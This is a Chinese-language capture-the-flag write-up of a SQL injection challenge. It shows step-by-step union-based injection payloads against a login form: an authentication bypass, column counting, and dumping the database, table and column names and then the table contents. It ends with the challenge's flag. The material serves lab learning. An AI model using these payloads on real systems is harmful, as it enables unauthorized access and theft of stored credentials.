题目
解题
一.判断注入类型
- 输入 username=1‘&password=2
发现报错的地方是password部分,报错内容是2‘
- 输入 username=1&password=2‘
报错内容是2‘
由此可以推断出应该使用字符型注入。
个人推测
以下内容是个人的想法,若有误,欢迎指出。
当输入的参数 x 为整型时,通常 abc.php 中 SQL 语句类型大致如下:select * from <表名> where password = x
所以当输入2‘时,得到的报错应该是" ‘ ",因为输入的数字是合法的,不合法的是后面的‘。
当输入的参数 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下:select * from <表名> where password = ‘x‘
所以当输入2‘时,得到的报错应该是" 2‘ ",因为输入的‘导致出现了3个‘,前两个引号直接是空,直接返回输入的内容不合法。
二.闭合SQL语句,实现登录
输入 username=1&password=2‘ or 1=‘1‘ %23
三.爆字段
输入 username=1&password=2‘ or 1=‘1‘ order by 100 %23
这里采用的是二分法找字段数,先选择100(一般一个服务器不会达到100个字段)。
依次改成50,25,13,7,4,均显示Unknown column ‘x‘ in ‘order clause‘
当改成2时,显示正常登录。
因此,服务器的字段数在2或者3之间。输入3,显示正常。
则得到字段=3。
补充
字段指的是一张表的列。
爆字段是为了使用union语句,而union语句的要求就是查询的两个select语句列数要相同。
使用order by x 查询的是列数。
这里,我们爆的是用户登录信息所在的这个表的字段。
例如一张user表:
user_id | name | password |
---|---|---|
1 | Jack | 123 |
2 | Mike | 456 |
3 | Tom | 789 |
其中,user_id列,name列,password列均是这张表的字段,这张表列数为3,则字段为3。
四.查看回显
输入 username=1&password=2‘ union select 1,2,3 %23
得到了两个回显点,显示的是2和3,证明该表的2,3字段可查。
补充
想要显示我们需要的信息,可以将当前的查询结果置空,即判断条件改成false(让页面出错,加上联合查询的方式寻找回显点)。
联合注入是需要显示结果的,这里所使用的东西就名为回显点。
回显点就是 SQL 查询结果显示在页面上位置,有回显点的 SQL 注入叫做回显点注入。
一篇文章的标题、作者、时间、内容等等,这些都可能成为回显点。
五.爆数据库
输入 username=1&password=username=1&password=2‘ union select 1,database(),3 %23
得到了数据库的名字:geek。
六.爆表
输入 username=1&password=username=1&password=2‘ union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘geek‘,3 %23
我们在查询2字段时,报错。
换成3字段。
输入 username=1&password=username=1&password=2‘ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘geek‘ %23
查询到geek库有两张表,分别是geekuser和l0ve1ysq1。
补充
username=1&password=username=1&password=2‘ union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘geek‘,3 %23 中,最后的table_schema=‘geek‘可以改为table_schema=database() 。
MySQL 中存储所有数据库名、所有表名、所有字段名的系统数据库叫 information_schema,这是在 MySQL 数据库初始化就存在的系统库。
库里存储数据库名、表名、字段名的表分别为 schemata、tables、columns(原始表名为大写,但小写也能取到数据)。
表名 | 关键字段 |
---|---|
schemata | schema_name [数据库名] |
tables | table_schema [数据库名],table_name [表名] |
columns | table_schema [数据库名],table_name [表名],column_name [列名] |
这里有个存疑,为什么这里2字段没办法查了,得换成3字段。
七.爆字段
输入 username=1&password=2‘ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘geekuser‘ %23
以及 username=1&password=2‘ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘l0ve1ysq1‘ %23
得到两张表的字段均为id,username,password。
补充
如果输入的是 username=1&password=2‘ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=‘geek‘ %23
得到的会是两个表所有的字段。
八.爆内容
查geekuser表
输入 username=1&password=2‘ union select 1,2,group_concat(id,username,password) from geekuser %23
没有得到想要的,换l0ve1ysq1表。
输入 username=1&password=2‘ union select 1,2,group_concat(id,username,password) from l0ve1ysq1 %23
显示的数据太长,发现flag在password的部分,再查一次。
输入 username=1&password=2‘ union select 1,2,group_concat(password) from l0ve1ysq1 %23
得到flag:flag{161ce1aa-45b5-4502-93e2-0d82d27e8714}
将MySQL数据库连根拔起流程
元数据库 -> 数据库列表 -> 表列表 -> 字段列表 -> 表内容